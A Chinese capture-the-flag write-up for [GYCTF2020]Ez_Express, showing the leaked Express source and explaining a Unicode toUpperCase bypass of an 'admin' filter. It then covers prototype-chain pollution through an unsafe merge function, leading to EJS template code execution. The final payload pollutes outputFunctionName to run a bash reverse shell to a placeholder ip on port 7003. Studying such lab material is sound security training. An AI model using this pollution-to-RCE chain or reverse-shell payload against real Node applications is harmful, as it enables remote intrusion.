[GYCTF2020]Ez_Express
源码泄露
文件泄露www.zip
主要逻辑在routes/index.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| var express = require('express'); var router = express.Router(); const isObject = obj => obj && obj.constructor && obj.constructor === Object; const merge = (a, b) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } const clone = (a) => { return merge({}, a); } function safeKeyword(keyword) { if(keyword.match(/(admin)/is)) { return keyword }
return undefined }
router.get('/', function (req, res) { if(!req.session.user){ res.redirect('/login'); } res.outputFunctionName=undefined; res.render('index',data={'user':req.session.user.user}); });
router.get('/login', function (req, res) { res.render('login'); });
router.post('/login', function (req, res) { if(req.body.Submit=="register"){ if(safeKeyword(req.body.userid)){ res.end("<script>alert('forbid word');history.go(-1);</script>") } req.session.user={ 'user':req.body.userid.toUpperCase(), 'passwd': req.body.pwd, 'isLogin':false } res.redirect('/'); } else if(req.body.Submit=="login"){ if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")} if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){ req.session.user.isLogin=true; } else{ res.end("<script>alert('error passwd');history.go(-1);</script>") } } res.redirect('/'); ; }); router.post('/action', function (req, res) { if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} req.session.user.data = clone(req.body); res.end("<script>alert('success');history.go(-1);</script>"); }); router.get('/info', function (req, res) { res.render('index',data={'user':res.outputFunctionName}); }) module.exports = router;
|
toUpperCase
login路由对应的代码,注册的时候,会使用safeKeyword对userid(也就是用户名进行判断)
跟进safeKeyword()函数,发现不能是admin
1 2 3 4 5 6 7
| function safeKeyword(keyword) { if(keyword.match(/(admin)/is)) { return keyword }
return undefined }
|
但是判断之后,会将userid.toUpperCase()和pwd写入session,在之后的action路由里面,需要userid为ADMIN
这样就产生了一个矛盾:safeKeyword不允许userid存在admin(无论大小写),action路由需要userid.toUpperCase()为ADMIN
解决的办法:
在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。
所以我们可以让userid=ADMıN
,即可过safeKeyword,也会在经过toUpperCase()函数之后,满足ADMIN
的条件
原型链污染
action路由,判断userid之后,将req.body传入clone
跟进clone(),发现调用merge()函数
跟进merge(),是一个典型的原型链污染,具体分析看 原型链污染学习(1)_Sk1y的博客-CSDN博客
再来看info路由,返回res.outputFunctionName
给模板渲染
发现ejs模板引擎,ejs存在原型链污染进行RCE,具体的分析见:从 Lodash 原型链污染到模板 RCE-安全客 - 安全资讯平台 (anquanke.com)
所以思路就是:先通过action路由对outputFunctionName进行原型链污染,而后通过info路由触发执行命令
action传参,payload如下
1
| { "__proto__": {"outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/7003 0>&1\"');var __tmp2"}}
|
然后访问以GET方式访问info,反弹shell
参考链接
- 从 Lodash 原型链污染到模板 RCE-安全客 - 安全资讯平台 (anquanke.com)
- GYCTF2020]Ez_Express_bfengj的博客-CSDN博客